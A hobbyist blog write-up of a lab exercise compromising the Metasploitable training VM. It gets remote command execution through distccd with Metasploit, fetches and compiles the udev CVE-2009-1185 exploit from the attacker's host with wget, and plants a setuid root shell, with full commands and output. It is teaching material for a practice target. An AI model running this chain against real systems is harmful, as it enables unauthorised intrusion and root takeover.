DistCC + udev

*NOTE: I had actually posted all these Metasploitable write-ups a long time ago, but had accidentally deleted them somehow. My apologies. *

Hey guys I’m back again with another write-up, this time on the lovely Metasploitable VM that Rapid7 was so kind to give us. This installment in the series will cover DistCC as well as local root exploitation with a udev exploit.

You will notice a lot of similarities between this page and the page concerning pwn0bot5, and you’re confusion is justified but only briefly. pwn0bot5 was built on Metasploitable but with a few different tweaks (addition of setuid shell, removing default user account passwords, etc). So all-in-all, you can say my write-up on pwn0bot5 was the official first when talking about Metasploitable. But that’s neither here nor there. Moving on!

Tools Used:

• nmap
• metasploit framework
• udev 1.4.1 exploit

Newbie Required Reading:

• nmap man page
• Metasploit Unleashed
• Practical Unix & Internet Security[book]

Let’s see what our vuln host is running. On our test lab, Metasploitable is running on 192.168.1.8:

root@bt:~# nmap -Pn -p- -sV 192.168.1.8

Starting Nmap 6.00 ( http://nmap.org ) at 2012-06-12 01:12 MDT
Nmap scan report for 192.168.1.8
Host is up (0.00043s latency).
Not shown: 65522 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 – 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:39:12:B2 (VMware)
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.77 seconds

You should know by now what this scan is doing, but if you don’t it’s quite simple: ‘-Pn’ simply means don’t ping the host, we already know it’s alive. ‘-p-‘ tells nmap to scan all possible ports(not just the default 1000 ports). ‘-sV’ asks nmap to do some service fingerprinting, giving us as accurate as possible server versions.

Well that’s just peachy! Loads of services running, and judging by their version numbers we can see there’s just about as many remote exploits available as there are services running ;]

For this exercise, we’ll only concern ourselves with the line that reads:

3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Next we’ll fire up the Metasploit Framework. NOTE: I’m going to copy some lines from the pwn0bot5 write-up as to save some time.

root@bt:/pentest/exploits/framework# ./msfconsole

=[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ — –=[ 795 exploits – 427 auxiliary – 128 post
+ — –=[ 239 payloads – 27 encoders – 8 nops
=[ svn r14592 updated today (2012.01.20)

msf > search distcc
Matching Modules
================

Name                           Disclosure Date  Rank       Description
—-                           —————  —-       ———–
exploit/unix/misc/distcc_exec  2002-02-01       excellent  DistCC Daemon Command Execution

Awesome, the framework has a lovely exploit for us to use and it’s listed as “excellent”. That’s gotta be good, right?! ;] Let’s get it started:

msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name   Current Setting  Required  Description
—-   —————  ——–  ———–
RHOST                   yes       The target address
RPORT  3632             yes       The target port

Exploit target:

Id  Name
—  —-
0   Automatic Target

Next thing we need to do is set RHOST to Metasploitable’s IP (192.168.1.8) and then search for a decent payload execute:

msf  exploit(distcc_exec) > set RHOST 192.168.1.8
RHOST => 192.168.1.8
msf  exploit(distcc_exec) > show payloads

Compatible Payloads
===================

Name                     Disclosure Date  Rank    Description
—-                     —————  —-    ———–
cmd/unix/bind_perl                        normal  Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind_perl_ipv6                   normal  Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_ruby                        normal  Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6                   normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/generic                          normal  Unix Command, Generic command execution
cmd/unix/reverse                          normal  Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse_perl                     normal  Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse_ruby                     normal  Unix Command Shell, Reverse TCP (via Ruby)

msf  exploit(distcc_exec) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl
msf  exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name   Current Setting  Required  Description
—-   —————  ——–  ———–
RHOST  192.168.1.8     yes       The target address
RPORT  3632             yes       The target port

Payload options (cmd/unix/bind_perl):

Name   Current Setting  Required  Description
—-   —————  ——–  ———–
LPORT  4444             yes       The listen port
RHOST  192.168.1.8     no        The target address

Alright, looks like we’ve got everything set up properly. Let’s do some damage! This is the part I love the most, hehe.

msf  exploit(distcc_exec) > exploit

[*] Started bind handler
[*] The remote distccd did not reply to our request
[*] Command shell session 1 opened (10.225.1.130:59234 -> 10.225.0.158:31337) at 2012-01-20 19:11:58 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

We now have shell access on the system with user daemon privileges. That’s progress!

Now it’s time for the fun part: Local Privilege Escalation! There are times when you exploit a system and it gives you a ‘root’ shell, and there are times(like this) when you have to find a way to gain root after you’ve got a shell. In my personal opinion, it’s much more fun to hack a system and NOT get root from the start as it’s more of a challenge to find a way to root it after you’ve got a shell. Enough about that, lets get to hacking!

First thing I do when I get a shell on a system is check the kernel version and see if there are any vulnerabilities that will give me root access if successfully exploited. Thanks to my good friend, g0tmi1k, I now have a lovely python one-liner to give me a prettier looking shell rather than just starting at a blank cursor. Sometimes I tend to let my mind travel into a lala land when I’m presented with a blank cursor in my terminal:

python -c ‘import pty;pty.spawn(“/bin/bash”)’
daemon@metasploitable:/tmp$

Ah, so much better. Cheers once again, g0tmi1k ;]

Let’s get started with the local priv escalation:

daemon@metasploitable:/tmp$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

I had a really rough time trying to find a working exploit for this kernel. I’m not sure if it was the late hours I was putting in, or the fact that I’m simply just that good at this stuff ;]

After fussing around the interwebs for a good hour trying to find a working sploit, I ran across a CVE page for udev 1.4.1 that affected this kernel version. Next step was for me to check exploit-db for the exploit and make some magic happen. I typically don’t like using the web interface for exploit-db.com, so instead I use the local repository that comes with BackTrack linux:

root@bt:/pentest/exploits/exploitdb# ./searchsploit udev linux local
Description                                                                 Path
————————————————————————— ————————-
Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit                    /linux/local/8478.sh
Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit              /linux/local/8572.c

The first file looked a bit dodgy and the author even says in the comments that the sploit is, indeed, a bit dodgy. That left us with the second option, 8572.c:

/*
* cve-2009-1185.c
*
* udev < 141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
*   udev before 1.4.1 does not verify whether a NETLINK message originates
*   from kernel space, which allows local users to gain privileges by sending
*   a NETLINK message from user space.
*
* Notes:
*
*   An alternate version of kcope’s exploit.  This exploit leverages the
*   95-udev-late.rules functionality that is meant to run arbitrary commands
*   when a device is removed.  A bit cleaner and reliable as long as your
*   distro ships that rule file.
*
*   Tested on Gentoo, Intrepid, and Jaunty.
*
* Usage:
*
*   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*   usually is the udevd PID minus 1) as argv[1].
*
*   The exploit will execute /tmp/run as root so throw whatever payload you
*   want in there.
*/

Pay special attention to the “Usage:” section in those comments. I’ve seen people use this exploit and fail(lolskiddiots) simply because they don’t RTFM. What we can see here is that we need to pass the PID – 1 of udevd. After that, the exploit will run/execute /tmp/run as root. We can literally create whatever we like in that file. We’ll get to this in a bit, for now let’s concentrate on getting our exploit onto the Metasploitable box from our machine. I typically like to just copy over the exploit from the exploit-db repository into /var/www and then use wget from the victim to get the file:

root@bt:/pentest/exploits/exploitdb# cp platforms/linux/local/8572.c /var/www/udev.c

Now from the victim machine we’ll run wget to retrieve the file and compile it:

daemon@metasploitable:/tmp$ wget http://192.168.1.7/udev.c
daemon@metasploitable:/tmp$ gcc udev.c -o udev

Ok so we’ve got our exploit downloaded to the victim and compilation is completed. Next we need to figure out what we want to do with our lovely /tmp/run file. Immediately two things come to mind: 1) We can do a reverse shell via netcat -or- 2)Create a suid shell. Normally I like to go the netcat route, but for some reasons I was feeling froggy and wanted to go with the suid shell. Let’s get to it:

daemon@metasploitable:/tmp$ echo ‘#!/bin/bash’ > run
daemon@metasploitable:/tmp$ echo “cp /bin/sh /tmp/shell && chmod 4555 /tmp/shell” >> run

That takes care of our lovely /tmp/run file. Now let’s get the PID of udev:

daemon@metasploitable:/tmp$ ps aux | grep udev
root      3001  0.0  0.1   2224   696 ?        S<s  01:05   0:00 /sbin/udevd –daemon
daemon    6953  0.0  0.1   1784   528 pts/3    RN+  03:58   0:00 grep udev

So we see that /sbin/udevd has the PID of 3001. According to the exploit, we need to give argv[1] the PID – 1. So let’s go ahead and be a good boy and follow the instructions:

daemon@metasploitable:/tmp$ ./udev 3000

If all went well, the exploit will succeed(nothing will happen on the screen) and the file /tmp/run will have been executed meaning we now have a suid shell in /tmp/shell. Let’s verify that now:

daemon@metasploitable:/tmp$ ls -l
total 88
-rw——- 1 tomcat55 nogroup     0 Jun 12 01:07 5829.jsvc_up
-rwxr-xr-x 1 user     user       59 Jun 12 03:52 run
-r-sr-xr-x 1 root     root    79988 Jun 12 03:52 shell

Lovely, our exploit seemed to have worked. Now for the evilness:

daemon@metasploitable:/tmp$ ./shell
# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)
# whoami
root

That was fun, wasn’t it? I’ll be posting more write-ups for Metasploitable in the coming days. Thanks and happy hacking ;D